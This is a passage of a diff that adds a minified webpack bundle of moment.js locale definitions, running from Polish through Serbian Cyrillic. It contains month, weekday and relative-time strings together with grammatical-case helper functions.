LT"; + case 3: + return "[W zeszłą środę o] LT"; + case 6: + return "[W zeszłą sobotę o] LT"; + default: + return "[W zeszły] dddd [o] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: "za %s", + past: "%s temu", + s: "kilka sekund", + ss: r, + m: r, + mm: r, + h: r, + hh: r, + d: "1 dzień", + dd: "%d dni", + M: "miesiąc", + MM: r, + y: "rok", + yy: r + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("pt", { + months: "Janeiro_Fevereiro_Março_Abril_Maio_Junho_Julho_Agosto_Setembro_Outubro_Novembro_Dezembro".split("_"), + monthsShort: "Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"), + weekdays: "Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"), + weekdaysShort: "Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"), + weekdaysMin: "Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D [de] MMMM [de] YYYY", + LLL: "D [de] MMMM [de] YYYY HH:mm", + LLLL: "dddd, D [de] MMMM [de] YYYY HH:mm" + }, + calendar: { + sameDay: "[Hoje às] LT", + nextDay: "[Amanhã às] LT", + nextWeek: "dddd [às] LT", + lastDay: "[Ontem às] LT", + lastWeek: function () { + return this.day() === 0 || this.day() === 6 ? "[Último] dddd [às] LT" : "[Última] dddd [às] LT" + }, + sameElse: "L" + }, + relativeTime: { + future: "em %s", + past: "há %s", + s: "segundos", + ss: "%d segundos", + m: "um minuto", + mm: "%d minutos", + h: "uma hora", + hh: "%d horas", + d: "um dia", + dd: "%d dias", + M: "um mês", + MM: "%d meses", + y: "um ano", + yy: "%d anos" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("pt-br", { + months: "Janeiro_Fevereiro_Março_Abril_Maio_Junho_Julho_Agosto_Setembro_Outubro_Novembro_Dezembro".split("_"), + monthsShort: "Jan_Fev_Mar_Abr_Mai_Jun_Jul_Ago_Set_Out_Nov_Dez".split("_"), + weekdays: "Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"), + weekdaysShort: "Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"), + weekdaysMin: "Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D [de] MMMM [de] YYYY", + LLL: "D [de] MMMM [de] YYYY [às] HH:mm", + LLLL: "dddd, D [de] MMMM [de] YYYY [às] HH:mm" + }, + calendar: { + sameDay: "[Hoje às] LT", + nextDay: "[Amanhã às] LT", + nextWeek: "dddd [às] LT", + lastDay: "[Ontem às] LT", + lastWeek: function () { + return this.day() === 0 || this.day() === 6 ? "[Último] dddd [às] LT" : "[Última] dddd [às] LT" + }, + sameElse: "L" + }, + relativeTime: { + future: "em %s", + past: "há %s", + s: "poucos segundos", + ss: "%d segundos", + m: "um minuto", + mm: "%d minutos", + h: "uma hora", + hh: "%d horas", + d: "um dia", + dd: "%d dias", + M: "um mês", + MM: "%d meses", + y: "um ano", + yy: "%d anos" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº" + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i) { + var n = { + ss: "secunde", + mm: "minute", + hh: "ore", + dd: "zile", + MM: "luni", + yy: "ani" + }, + r = " "; + if (e % 100 >= 20 || e >= 100 && e % 100 === 0) { + r = " de " + } + return e + r + n[i] + } + var i = e.defineLocale("ro", { + months: "ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"), + monthsShort: "ian._febr._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"), + monthsParseExact: true, + weekdays: "duminică_luni_marți_miercuri_joi_vineri_sâmbătă".split("_"), + weekdaysShort: "Dum_Lun_Mar_Mie_Joi_Vin_Sâm".split("_"), + weekdaysMin: "Du_Lu_Ma_Mi_Jo_Vi_Sâ".split("_"), + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY H:mm", + LLLL: "dddd, D MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[azi la] LT", + nextDay: "[mâine la] LT", + nextWeek: "dddd [la] LT", + lastDay: "[ieri la] LT", + lastWeek: "[fosta] dddd [la] LT", + sameElse: "L" + }, + relativeTime: { + future: "peste %s", + past: "%s în urmă", + s: "câteva secunde", + ss: t, + m: "un minut", + mm: t, + h: "o oră", + hh: t, + d: "o zi", + dd: t, + M: "o lună", + MM: t, + y: "un an", + yy: t + }, + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t) { + var i = e.split("_"); + return t % 10 === 1 && t % 100 !== 11 ? i[0] : t % 10 >= 2 && t % 10 <= 4 && (t % 100 < 10 || t % 100 >= 20) ? i[1] : i[2] + } + + function i(e, i, n) { + var r = { + ss: i ? "секунда_секунды_секунд" : "секунду_секунды_секунд", + mm: i ? "минута_минуты_минут" : "минуту_минуты_минут", + hh: "час_часа_часов", + dd: "день_дня_дней", + MM: "месяц_месяца_месяцев", + yy: "год_года_лет" + }; + if (n === "m") { + return i ? "минута" : "минуту" + } else { + return e + " " + t(r[n], +e) + } + } + var n = [/^янв/i, /^фев/i, /^мар/i, /^апр/i, /^ма[йя]/i, /^июн/i, /^июл/i, /^авг/i, /^сен/i, /^окт/i, /^ноя/i, /^дек/i]; + var r = e.defineLocale("ru", { + months: { + format: "января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"), + standalone: "январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_") + }, + monthsShort: { + format: "янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"), + standalone: "янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_") + }, + weekdays: { + standalone: "воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"), + format: "воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"), + isFormat: /\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?\] ?dddd/ + }, + weekdaysShort: "вс_пн_вт_ср_чт_пт_сб".split("_"), + weekdaysMin: "вс_пн_вт_ср_чт_пт_сб".split("_"), + monthsParse: n, + longMonthsParse: n, + shortMonthsParse: n, + monthsRegex: /^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i, + monthsShortRegex: /^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i, + monthsStrictRegex: /^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i, + monthsShortStrictRegex: /^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY г.", + LLL: "D MMMM YYYY г., H:mm", + LLLL: "dddd, D MMMM YYYY г., H:mm" + }, + calendar: { + sameDay: "[Сегодня, в] LT", + nextDay: "[Завтра, в] LT", + lastDay: "[Вчера, в] LT", + nextWeek: function (e) { + if (e.week() !== this.week()) { + switch (this.day()) { + case 0: + return "[В следующее] dddd, [в] LT"; + case 1: + case 2: + case 4: + return "[В следующий] dddd, [в] LT"; + case 3: + case 5: + case 6: + return "[В следующую] dddd, [в] LT" + } + } else { + if (this.day() === 2) { + return "[Во] dddd, [в] LT" + } else { + return "[В] dddd, [в] LT" + } + } + }, + lastWeek: function (e) { + if (e.week() !== this.week()) { + switch (this.day()) { + case 0: + return "[В прошлое] dddd, [в] LT"; + case 1: + case 2: + case 4: + return "[В прошлый] dddd, [в] LT"; + case 3: + case 5: + case 6: + return "[В прошлую] dddd, [в] LT" + } + } else { + if (this.day() === 2) { + return "[Во] dddd, [в] LT" + } else { + return "[В] dddd, [в] LT" + } + } + }, + sameElse: "L" + }, + relativeTime: { + future: "через %s", + past: "%s назад", + s: "несколько секунд", + ss: i, + m: i, + mm: i, + h: "час", + hh: i, + d: "день", + dd: i, + M: "месяц", + MM: i, + y: "год", + yy: i + }, + meridiemParse: /ночи|утра|дня|вечера/i, + isPM: function (e) { + return /^(дня|вечера)$/.test(e) + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "ночи" + } else if (e < 12) { + return "утра" + } else if (e < 17) { + return "дня" + } else { + return "вечера" + } + }, + dayOfMonthOrdinalParse: /\d{1,2}-(й|го|я)/, + ordinal: function (e, t) { + switch (t) { + case "M": + case "d": + case "DDD": + return e + "-й"; + case "D": + return e + "-го"; + case "w": + case "W": + return e + "-я"; + default: + return e + } + }, + week: { + dow: 1, + doy: 4 + } + }); + return r + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = ["جنوري", "فيبروري", "مارچ", "اپريل", "مئي", "جون", "جولاءِ", "آگسٽ", "سيپٽمبر", "آڪٽوبر", "نومبر", "ڊسمبر"]; + var i = ["آچر", "سومر", "اڱارو", "اربع", "خميس", "جمع", "ڇنڇر"]; + var n = e.defineLocale("sd", { + months: t, + monthsShort: t, + weekdays: i, + weekdaysShort: i, + weekdaysMin: i, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd، D MMMM YYYY HH:mm" + }, + meridiemParse: /صبح|شام/, + isPM: function (e) { + return "شام" === e + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "صبح" + } + return "شام" + }, + calendar: { + sameDay: "[اڄ] LT", + nextDay: "[سڀاڻي] LT", + nextWeek: "dddd [اڳين هفتي تي] LT", + lastDay: "[ڪالهه] LT", + lastWeek: "[گزريل هفتي] dddd [تي] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s پوء", + past: "%s اڳ", + s: "چند سيڪنڊ", + ss: "%d سيڪنڊ", + m: "هڪ منٽ", + mm: "%d منٽ", + h: "هڪ ڪلاڪ", + hh: "%d ڪلاڪ", + d: "هڪ ڏينهن", + dd: "%d ڏينهن", + M: "هڪ مهينو", + MM: "%d مهينا", + y: "هڪ سال", + yy: "%d سال" + }, + preparse: function (e) { + return e.replace(/،/g, ",") + }, + postformat: function (e) { + return e.replace(/,/g, "،") + }, + week: { + dow: 1, + doy: 4 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("se", { + months: "ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu".split("_"), + monthsShort: "ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov".split("_"), + weekdays: "sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat".split("_"), + weekdaysShort: "sotn_vuos_maŋ_gask_duor_bear_láv".split("_"), + weekdaysMin: "s_v_m_g_d_b_L".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "MMMM D. [b.] YYYY", + LLL: "MMMM D. [b.] YYYY [ti.] HH:mm", + LLLL: "dddd, MMMM D. [b.] YYYY [ti.] HH:mm" + }, + calendar: { + sameDay: "[otne ti] LT", + nextDay: "[ihttin ti] LT", + nextWeek: "dddd [ti] LT", + lastDay: "[ikte ti] LT", + lastWeek: "[ovddit] dddd [ti] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s geažes", + past: "maŋit %s", + s: "moadde sekunddat", + ss: "%d sekunddat", + m: "okta minuhta", + mm: "%d minuhtat", + h: "okta diimmu", + hh: "%d diimmut", + d: "okta beaivi", + dd: "%d beaivvit", + M: "okta mánnu", + MM: "%d mánut", + y: "okta jahki", + yy: "%d jagit" + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("si", { + months: "ජනවාරි_පෙබරවාරි_මාර්තු_අප්‍රේල්_මැයි_ජූනි_ජූලි_අගෝස්තු_සැප්තැම්බර්_ඔක්තෝබර්_නොවැම්බර්_දෙසැම්බර්".split("_"), + monthsShort: "ජන_පෙබ_මාර්_අප්_මැයි_ජූනි_ජූලි_අගෝ_සැප්_ඔක්_නොවැ_දෙසැ".split("_"), + weekdays: "ඉරිදා_සඳුදා_අඟහරුවාදා_බදාදා_බ්‍රහස්පතින්දා_සිකුරාදා_සෙනසුරාදා".split("_"), + weekdaysShort: "ඉරි_සඳු_අඟ_බදා_බ්‍රහ_සිකු_සෙන".split("_"), + weekdaysMin: "ඉ_ස_අ_බ_බ්‍ර_සි_සෙ".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "a h:mm", + LTS: "a h:mm:ss", + L: "YYYY/MM/DD", + LL: "YYYY MMMM D", + LLL: "YYYY MMMM D, a h:mm", + LLLL: "YYYY MMMM D [වැනි] dddd, a h:mm:ss" + }, + calendar: { + sameDay: "[අද] LT[ට]", + nextDay: "[හෙට] LT[ට]", + nextWeek: "dddd LT[ට]", + lastDay: "[ඊයේ] LT[ට]", + lastWeek: "[පසුගිය] dddd LT[ට]", + sameElse: "L" + }, + relativeTime: { + future: "%sකින්", + past: "%sකට පෙර", + s: "තත්පර කිහිපය", + ss: "තත්පර %d", + m: "මිනිත්තුව", + mm: "මිනිත්තු %d", + h: "පැය", + hh: "පැය %d", + d: "දිනය", + dd: "දින %d", + M: "මාසය", + MM: "මාස %d", + y: "වසර", + yy: "වසර %d" + }, + dayOfMonthOrdinalParse: /\d{1,2} වැනි/, + ordinal: function (e) { + return e + " වැනි" + }, + meridiemParse: /පෙර වරු|පස් වරු|පෙ.ව|ප.ව./, + isPM: function (e) { + return e === "ප.ව." || e === "පස් වරු" + }, + meridiem: function (e, t, i) { + if (e > 11) { + return i ? "ප.ව." : "පස් වරු" + } else { + return i ? "පෙ.ව." : "පෙර වරු" + } + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "január_február_marec_apríl_máj_jún_júl_august_september_október_november_december".split("_"), + i = "jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec".split("_"); + + function n(e) { + return e > 1 && e < 5 + } + + function r(e, t, i, r) { + var a = e + " "; + switch (i) { + case "s": + return t || r ? "pár sekúnd" : "pár sekundami"; + case "ss": + if (t || r) { + return a + (n(e) ? "sekundy" : "sekúnd") + } else { + return a + "sekundami" + } + break; + case "m": + return t ? "minúta" : r ? "minútu" : "minútou"; + case "mm": + if (t || r) { + return a + (n(e) ? "minúty" : "minút") + } else { + return a + "minútami" + } + break; + case "h": + return t ? "hodina" : r ? "hodinu" : "hodinou"; + case "hh": + if (t || r) { + return a + (n(e) ? "hodiny" : "hodín") + } else { + return a + "hodinami" + } + break; + case "d": + return t || r ? "deň" : "dňom"; + case "dd": + if (t || r) { + return a + (n(e) ? "dni" : "dní") + } else { + return a + "dňami" + } + break; + case "M": + return t || r ? "mesiac" : "mesiacom"; + case "MM": + if (t || r) { + return a + (n(e) ? "mesiace" : "mesiacov") + } else { + return a + "mesiacmi" + } + break; + case "y": + return t || r ? "rok" : "rokom"; + case "yy": + if (t || r) { + return a + (n(e) ? "roky" : "rokov") + } else { + return a + "rokmi" + } + break + } + } + var a = e.defineLocale("sk", { + months: t, + monthsShort: i, + weekdays: "nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota".split("_"), + weekdaysShort: "ne_po_ut_st_št_pi_so".split("_"), + weekdaysMin: "ne_po_ut_st_št_pi_so".split("_"), + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm", + LLLL: "dddd D. MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[dnes o] LT", + nextDay: "[zajtra o] LT", + nextWeek: function () { + switch (this.day()) { + case 0: + return "[v nedeľu o] LT"; + case 1: + case 2: + return "[v] dddd [o] LT"; + case 3: + return "[v stredu o] LT"; + case 4: + return "[vo štvrtok o] LT"; + case 5: + return "[v piatok o] LT"; + case 6: + return "[v sobotu o] LT" + } + }, + lastDay: "[včera o] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + return "[minulú nedeľu o] LT"; + case 1: + case 2: + return "[minulý] dddd [o] LT"; + case 3: + return "[minulú stredu o] LT"; + case 4: + case 5: + return "[minulý] dddd [o] LT"; + case 6: + return "[minulú sobotu o] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: "za %s", + past: "pred %s", + s: r, + ss: r, + m: r, + mm: r, + h: r, + hh: r, + d: r, + dd: r, + M: r, + MM: r, + y: r, + yy: r + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t, i, n) { + var r = e + " "; + switch (i) { + case "s": + return t || n ? "nekaj sekund" : "nekaj sekundami"; + case "ss": + if (e === 1) { + r += t ? "sekundo" : "sekundi" + } else if (e === 2) { + r += t || n ? "sekundi" : "sekundah" + } else if (e < 5) { + r += t || n ? "sekunde" : "sekundah" + } else { + r += "sekund" + } + return r; + case "m": + return t ? "ena minuta" : "eno minuto"; + case "mm": + if (e === 1) { + r += t ? "minuta" : "minuto" + } else if (e === 2) { + r += t || n ? "minuti" : "minutama" + } else if (e < 5) { + r += t || n ? "minute" : "minutami" + } else { + r += t || n ? "minut" : "minutami" + } + return r; + case "h": + return t ? "ena ura" : "eno uro"; + case "hh": + if (e === 1) { + r += t ? "ura" : "uro" + } else if (e === 2) { + r += t || n ? "uri" : "urama" + } else if (e < 5) { + r += t || n ? "ure" : "urami" + } else { + r += t || n ? "ur" : "urami" + } + return r; + case "d": + return t || n ? "en dan" : "enim dnem"; + case "dd": + if (e === 1) { + r += t || n ? "dan" : "dnem" + } else if (e === 2) { + r += t || n ? "dni" : "dnevoma" + } else { + r += t || n ? "dni" : "dnevi" + } + return r; + case "M": + return t || n ? "en mesec" : "enim mesecem"; + case "MM": + if (e === 1) { + r += t || n ? "mesec" : "mesecem" + } else if (e === 2) { + r += t || n ? "meseca" : "mesecema" + } else if (e < 5) { + r += t || n ? "mesece" : "meseci" + } else { + r += t || n ? "mesecev" : "meseci" + } + return r; + case "y": + return t || n ? "eno leto" : "enim letom"; + case "yy": + if (e === 1) { + r += t || n ? "leto" : "letom" + } else if (e === 2) { + r += t || n ? "leti" : "letoma" + } else if (e < 5) { + r += t || n ? "leta" : "leti" + } else { + r += t || n ? "let" : "leti" + } + return r + } + } + var i = e.defineLocale("sl", { + months: "januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december".split("_"), + monthsShort: "jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.".split("_"), + monthsParseExact: true, + weekdays: "nedelja_ponedeljek_torek_sreda_četrtek_petek_sobota".split("_"), + weekdaysShort: "ned._pon._tor._sre._čet._pet._sob.".split("_"), + weekdaysMin: "ne_po_to_sr_če_pe_so".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm", + LLLL: "dddd, D. MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[danes ob] LT", + nextDay: "[jutri ob] LT", + nextWeek: function () { + switch (this.day()) { + case 0: + return "[v] [nedeljo] [ob] LT"; + case 3: + return "[v] [sredo] [ob] LT"; + case 6: + return "[v] [soboto] [ob] LT"; + case 1: + case 2: + case 4: + case 5: + return "[v] dddd [ob] LT" + } + }, + lastDay: "[včeraj ob] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + return "[prejšnjo] [nedeljo] [ob] LT"; + case 3: + return "[prejšnjo] [sredo] [ob] LT"; + case 6: + return "[prejšnjo] [soboto] [ob] LT"; + case 1: + case 2: + case 4: + case 5: + return "[prejšnji] dddd [ob] LT" + } + }, + sameElse: "L" + }, + relativeTime: { + future: "čez %s", + past: "pred %s", + s: t, + ss: t, + m: t, + mm: t, + h: t, + hh: t, + d: t, + dd: t, + M: t, + MM: t, + y: t, + yy: t + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("sq", { + months: "Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_Nëntor_Dhjetor".split("_"), + monthsShort: "Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_Nën_Dhj".split("_"), + weekdays: "E Diel_E Hënë_E Martë_E Mërkurë_E Enjte_E Premte_E Shtunë".split("_"), + weekdaysShort: "Die_Hën_Mar_Mër_Enj_Pre_Sht".split("_"), + weekdaysMin: "D_H_Ma_Më_E_P_Sh".split("_"), + weekdaysParseExact: true, + meridiemParse: /PD|MD/, + isPM: function (e) { + return e.charAt(0) === "M" + }, + meridiem: function (e, t, i) { + return e < 12 ? "PD" : "MD" + }, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Sot në] LT", + nextDay: "[Nesër në] LT", + nextWeek: "dddd [në] LT", + lastDay: "[Dje në] LT", + lastWeek: "dddd [e kaluar në] LT", + sameElse: "L" + }, + relativeTime: { + future: "në %s", + past: "%s më parë", + s: "disa sekonda", + ss: "%d sekonda", + m: "një minutë", + mm: "%d minuta", + h: "një orë", + hh: "%d orë", + d: "një ditë", + dd: "%d ditë", + M: "një muaj", + MM: "%d muaj", + y: "një vit", + yy: "%d vite" + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + words: { + ss: ["sekunda", "sekunde", "sekundi"], + m: ["jedan minut", "jedne minute"], + mm: ["minut", "minute", "minuta"], + h: ["jedan sat", "jednog sata"], + hh: ["sat", "sata", "sati"], + dd: ["dan", "dana", "dana"], + MM: ["mesec", "meseca", "meseci"], + yy: ["godina", "godine", "godina"] + }, + correctGrammaticalCase: function (e, t) { + return e === 1 ? t[0] : e >= 2 && e <= 4 ? t[1] : t[2] + }, + translate: function (e, i, n) { + var r = t.words[n]; + if (n.length === 1) { + return i ? r[0] : r[1] + } else { + return e + " " + t.correctGrammaticalCase(e, r) + } + } + }; + var i = e.defineLocale("sr", { + months: "januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"), + monthsShort: "jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"), + monthsParseExact: true, + weekdays: "nedelja_ponedeljak_utorak_sreda_četvrtak_petak_subota".split("_"), + weekdaysShort: "ned._pon._uto._sre._čet._pet._sub.".split("_"), + weekdaysMin: "ne_po_ut_sr_če_pe_su".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm", + LLLL: "dddd, D. MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[danas u] LT", + nextDay: "[sutra u] LT", + nextWeek: function () { + switch (this.day()) { + case 0: + return "[u] [nedelju] [u] LT"; + case 3: + return "[u] [sredu] [u] LT"; + case 6: + return "[u] [subotu] [u] LT"; + case 1: + case 2: + case 4: + case 5: + return "[u] dddd [u] LT" + } + }, + lastDay: "[juče u] LT", + lastWeek: function () { + var e = ["[prošle] [nedelje] [u] LT", "[prošlog] [ponedeljka] [u] LT", "[prošlog] [utorka] [u] LT", "[prošle] [srede] [u] LT", "[prošlog] [četvrtka] [u] LT", "[prošlog] [petka] [u] LT", "[prošle] [subote] [u] LT"]; + return e[this.day()] + }, + sameElse: "L" + }, + relativeTime: { + future: "za %s", + past: "pre %s", + s: "nekoliko sekundi", + ss: t.translate, + m: t.translate, + mm: t.translate, + h: t.translate, + hh: t.translate, + d: "dan", + dd: t.translate, + M: "mesec", + MM: t.translate, + y: "godinu", + yy: t.translate + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 7 + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + words: { + ss: ["секунда", "секунде", "секунди"], + m: ["један минут", "једне минуте"], + mm: ["минут", "минуте", "минута"], + h: ["један сат", "једног сата"], + hh: ["сат", "сата", "сати"], + dd: ["дан", "дана", "дана"], + MM: ["месец", "месеца", "месеци"], + yy: ["година", "године", "година"] + }, + correctGrammaticalCase: function (e, t) { + return e === 1 ? t[0] : e >= 2 && e <= 4 ? t[1] : t[2] + }, + translate: function (e, i, n) { + var r = t.words[n]; + if (n.length === 1) { + return i ? r[0] : r[1] + } else { + return e + " " + t.correctGrammaticalCase(e, r) + } + } + }; + var i = e.defineLocale("sr-cyrl", { + months: "јануар_фебруар_март_април_мај_јун_јул_август_септембар_октобар_новембар_децембар".split("_"), + monthsShort: "јан._феб._мар._апр._мај_јун_јул_авг._сеп._окт._нов._дец.".split("_"), + monthsParseExact: true, + weekdays: "недеља_понедељак_уторак_среда_четвртак_петак_субота".split("_"), + weekdaysShort: "нед._пон._уто._сре._чет._пет._суб.".split("_"), + weekdaysMin: "не_по_ут_ср_че_пе_су".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "H:mm", + LTS: "H:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY H:mm", + LLLL: "dddd, D. MMMM YYYY H:mm" + }, + calendar: { + sameDay: "[данас у] LT", + nextDay: "[сутра у] LT", + nextWeek: function () { + switch (this.day()) { + case 0: + return "[у] [недељу] [у] LT"; + case 3: + return "[у] [среду] [у] LT"; + case 6: + return "[у] [суботу] [у] LT"; + case 1: + case 2: + case 4: + case 5: + return "[у] dddd [у] LT" + } + }, + lastDay: "[јуче у] LT", + lastWeek: function () { + var e = ["[прошле] [недеље] [у] LT", "[прошлог] [понедељка] [у] LT", "[прошлог] [уторка] [у] LT", "[прошле] [среде] [у] LT", "[прошлог] [четвртка] [у] LT", "[прошлог] [петка] [у] LT", "[прошле] [суботе] [у] LT"]; + return e[this.day()] + }, + sameElse: "L" + }, + relativeTime: { + future: "за %s", + past: "пре %s", + s: "неколико секунди", + ss: t.translate, + m: t.translate, + mm: t.translate, + h: t.translate, + hh: t.translate, + d: "дан", + dd: t.translate, + M: "месец", + MM: t.translate, + y: "годину", + yy: t.translate + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + 